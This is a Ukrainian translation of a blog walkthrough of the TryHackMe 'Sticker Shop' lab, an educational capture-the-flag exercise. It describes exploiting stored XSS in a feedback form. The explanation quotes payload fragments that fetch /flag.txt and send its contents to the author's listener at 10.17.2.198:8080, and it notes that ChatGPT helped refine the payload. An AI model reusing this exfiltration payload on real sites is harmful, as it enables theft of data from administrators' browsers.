Покрокове керівництво: Магазин стікерів [TryHackME]

текст перекладу

Привіт, шановні ентузіасти кібербезпеки! Мене звати Акшат, і я радий поділитися своїм першим блогом. Як людина, що глибоко захоплюється кібербезпекою та постійно прагне вдосконалювати свої навички, я витратив безліч годин на дослідження різних завдань, інструментів та технік. Сьогодні я радий поділитися своїм досвідом з викликом The Sticker Shop на TryHackMe — цікавим завданням для початківців, яке я завершив деякий час тому. Цей блог позначає початок мого шляху з документування та поділу своїх знань з більшою спільнотою кібербезпеки. Почнемо!

Магазин стікерів тепер онлайн! Але ось що цікаво — вони розмістили свій сайт на тому ж комп'ютері, який використовують для всього, від перегляду мемів до читання відгуків. Не дуже розумний хід, правда? Чи зможете ви пробратися і знайти флаг, схований на http://127.0.0.1/flag.txt?

IP-адресу машини надано, але вам варто спробувати вирішити це завдання самостійно та отримати досвід.

Наше перше завдання — додати цю IP-адресу до локального файлу /etc/hosts, щоб ми могли запустити сайт.

pic

Щоб записати у файл

Після цього просто додайте IP-адресу машини, яка працює на сервері, і ім'я (stickershop.thm)

stickershop.thm

Далі, ми хочемо виконати сканування за допомогою Nmap, хоча в завданні зазначено, що нам потрібно доступитись до порту 8080. Хоча завдання вказує на порт 8080, корисно дослідити й інші порти.

pic

Виконання цього сканування показує, що є відкриті порти, серед яких порт 22 і порт 8080.

pic

Тепер переходимо до сайту:

pic

Я подивився на головну сторінку кілька хвилин і не знайшов нічого цікавого. Хоча початкова сторінка не дає багато, Сторінка відгуків виглядає цікаво.

Я ввів випадковий текст у форму відгуку, щоб перевірити її функціональність. Форма відповіла:
“Дякуємо за ваш відгук.”
Перше, що я зробив — це перевірка на вразливості XSS (Cross-Site Scripting).

Я відкрив сервер на порту 8080 за допомогою Python:

pic

Потім я ввів базовий пейлоад у форму відгуку, щоб перевірити:


pic

Я кілька разів надіслав цей пейлоад через форму відгуку, і це дало мені відповідь на моєму сервері:

pic

Це показує, що вразливість XSS присутня. Наступний крок — експлуатація цієї вразливості для отримання флагу з /flag.txt

Я створив базовий пейлоад для цього і попросив ChatGPT вдосконалити його, щоб ми могли отримати вміст /flag.txt безпосередньо з URL. Перед відправкою цього пейлоаду, переконайтесь, що знову відкрили сервер на вашій системі за допомогою:

python3 -m http.server 8080

Тут 10.17.2.198 — моя власна IP-адреса (використовуйте команду ‘ifconfig tun0’ на терміналі, щоб отримати вашу).

Пояснення

  1. Застосування збереженого XSS:
  • Шкідливий ввід вставляється в текстове поле, яке переглядається та виконується браузером адміністратора.
  • Коли адміністратор переглядає ввід, браузер виконує інжектований пейлоад.

2. fetch('/flag.txt'):

  • Це намагається прочитати файл flag.txt, що знаходиться за шляхом /flag.txt на системі адміністратора або в веб-додатку.

3.
текст перекладу
then(r => r.text()):

  • Перетворює відповідь від кінцевої точки /flag.txt в звичайний текст (вміст флагу).

4. fetch('http://10.17.2.198:8080/?c=' + encodeURIComponent(flag)):

  • Виводить флаг на сервер зловмисника (10.17.2.198:8080).
  • encodeURIComponent забезпечує правильне кодування флагу, щоб уникнути помилок у запиті.

5. Обробка помилок:

  • Якщо запит fetch не вдається (наприклад, файл не знайдений або є проблеми з правами доступу), помилка також надсилається на сервер зловмисника для налагодження.

Тепер введіть цей код у форму відгуку та натисніть Відправити. На вашому прослуховувачі ви побачите, що отримали з'єднання:

pic

Тут ми отримали флаг у першій відповіді, оскільки вказано, що THM є закодованим URL. Перейдіть на Cyberchef або інший сайт і декодуйте його. В результаті ми отримуємо флаг.

Після ретельного аналізу веб-додатку та виявлення вразливості XSS ми створили точний пейлоад для її експлуатації. Пейлоад був призначений для отримання вмісту файлу /flag.txt з вразливого сервера та передачі його на наш сервер-прослуховувач. Введення цього пейлоаду в текстове поле, яке виконується на боці адміністратора, дозволило досягти нашої мети.

Коли адміністратор непомітно запустив пейлоад, їхній браузер виконав шкідливий код, отримавши чутливий файл і переславши його вміст на наш сервер-прослуховувач. Це показує потенційні ризики небезпечних практик веб-розробки, особливо коли введення користувача не належним чином перевіряється або не очищається.

Уроки, які ми отримали

Цей виклик навчив нас не тільки як захопити флаг, а й підкреслив важливість безпечних практик кодування, надійної перевірки введених даних і наслідків недбалості при захисті від вразливостей XSS. Навіть таке, здавалося б, просте текстове поле може стати небезпечним точкою входу для зловмисників, якщо його не перевіряти.

Висновок

Безпека веб-додатків — це спільна відповідальність розробників та фахівців з безпеки. Виклики, як «The Sticker Shop» на TryHackMe, надають можливість на практиці зрозуміти, як працюють вразливості і як зловмисники їх експлуатують. Це розуміння є критичним для створення ефективних захистів.

Пройшовши цей виклик, ми краще зрозуміли, як вразливості XSS можуть бути використані для виведення чутливих даних. Це був не тільки пізнавальний досвід, але й неймовірно задовільний спосіб зануритися в безпеку веб-додатків.

Написання мого першого блогу стало цікавою та корисною практикою. Поділ своїм шляхом з спільнотою допоміг мені оцінити те, чого я навчився, і мотивував продовжувати дослідження. Я з нетерпінням чекаю нових викликів, технік і вразливостей у кібербезпеці, і сподіваюся продовжувати документувати і ділитися своїми ідеями через нові пости в блозі на цю тему.

Перекладено з: Walkthrough : The Sticker Shop [TryHackME]

Leave a Reply

Your email address will not be published. Required fields are marked *